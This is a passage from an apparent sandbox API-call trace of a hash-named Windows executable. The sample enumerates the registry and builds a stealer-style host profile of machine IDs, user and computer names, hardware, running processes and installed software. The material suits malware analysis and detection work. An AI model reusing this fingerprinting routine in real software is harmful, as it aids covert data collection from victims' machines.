[984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\n"
[0054.973] RegCloseKey (hKey=0x514) returned 0x0
[0054.973] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x32, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0115-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.973] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0115-0409-0000-0000000FF1CE}") returned 90
[0054.973] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0115-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.973] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Office Shared Setup Metadata MUI (English) 2016", lpcbData=0x1816c0*=0x3a) returned 0x0
[0054.973] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft Office Shared Setup Metadata MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United 